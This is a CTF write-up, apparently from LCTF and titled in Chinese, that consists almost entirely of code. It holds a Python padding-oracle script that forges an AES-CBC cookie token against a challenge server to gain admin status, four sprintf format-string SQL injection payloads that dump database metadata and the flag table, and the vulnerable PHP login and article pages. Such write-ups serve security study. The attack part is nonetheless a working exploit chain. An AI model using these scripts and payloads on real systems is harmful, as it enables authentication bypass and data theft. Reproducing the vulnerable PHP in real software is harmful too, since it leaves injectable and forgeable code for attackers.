WriteUp分享 | LCTF的一道padding oracle攻击+sprintf格式化字符串导致的SQL注入

#coding:utf8
import requests
import base64


url='http://111.231.111.54/login.php'
N=16
old_token = 'eHNkaHkxSkxQbEplanFKbQ=='


def inject_token(token):
    header={"Cookie":"PHPSESSID=qv6iuvrs0bh3g3c0688ss2cb86;token="+token}
    print header
    result=requests.get(url,headers=header)
    return result
def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])


def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)


def padding_oracle(N):
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding
            result=inject_token(base64.b64encode(c))
            print result.content
            if "Error!" not in result.content:
                get=chr(j^i)+get
                break


    return get


while 1:
    middle1=padding_oracle(N)
    print "n"
    if(len(middle1)+1==16):
        for i in xrange(0,256):
            middle=chr(i)+middle1
            print "token:"+old_token
            print "middle:"+middle
            plaintext=xor(middle,old_token);
            print "plaintext:"+plaintext
            des=pad('admin',N)
            tmp=""
            print des.encode("base64")
            for i in xrange(16):
                tmp+=chr(ord(old_token[i])^ord(plaintext[i])^ord(des[i]))
            print tmp.encode('base64')
            result=inject_token(base64.b64encode(tmp))
            if "admin" in result.content:
                print result.content
                print "success"
                exit()

id=3&title=%1$ 'union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname,@@datadir)#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(table_name)) from information_schema.tables where table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(column_name))  from information_schema.columns where table_name=0x6b6579 and table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(f14g)) from web1.key#

<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
    echo '省略';
}
function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}
function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}
function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        }
    }
    return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
        get_identity();
        header('location: ./admin.php');
    }else{
        die('Login failed.');
    }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>

<?php
error_reporting(0);
session_start();
include('config.php');
if(!$_SESSION['isadmin']){
    die('You are not admin');
}
if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }else{
        die("This article does not exist.");
    }
}
?>